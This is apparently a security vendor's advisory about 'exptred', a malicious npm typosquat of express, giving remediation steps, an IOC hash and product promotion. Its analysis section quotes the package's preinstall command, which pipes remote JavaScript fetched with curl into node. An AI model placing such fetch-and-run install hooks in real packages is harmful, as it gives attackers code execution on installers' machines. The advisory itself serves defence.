Which versions of exptred are malicious?

The following npm versions of exptred are flagged malicious: 5.2.1. Treat any of these as compromised.

How do I remediate exptred if I installed it?

exptred is a typosquat — you almost certainly intended a legitimately-named package. Remove exptred, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed exptred — how do I know if it already compromised me?

If exptred was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is exptred part of a known attack campaign?

Yes — exptred is associated with the IN-MAL-2026-020628 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find exptred across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for exptred (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging exptred across your stack and pipelines.

Malicious package

exptrednpm

exptred is a confirmed malicious npm package (MAL-2026-17246) that typosquats a legitimate package to trick installs (malicious version 5.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in exptred (npm)

MAL-2026-17246

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall exptred

What this malware does

npm package [email protected] is a typosquat of express: package.json copies express's description ('Fast, unopinionated, minimalist web framework'), author (TJ Holowaychuk), repository (expressjs/express), and homepage (expressjs.com), and index.js re-exports lib/express. The tarball adds a preinstall lifecycle script that pipes remote JavaScript into node: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/... | node. On npm install, whatever bytes the web.archive.org-proxied Codeberg branch currently returns are executed on the installer's host. The source is a personal Codeberg user's raw branch content — mutable, non-publisher, unpinned, and integrity-unchecked — so the operator of that branch controls arbitrary code execution on every machine that installs the package.

Malicious versions

1 flagged

5.2.1

Indicators of compromise (SHA-256)

d91842ab3e5c93f5689a985b63f8de5455910d88d6815ee35f2d35d27f8a4cf7

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for exptred (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging exptred across your stack and pipelines.
If you installed it — respond
exptred is a typosquat — you almost certainly intended a legitimately-named package. Remove exptred, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If exptred was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks exptred before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. exptred on npm has been identified as a malicious package (version 5.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020628

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks exptred-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database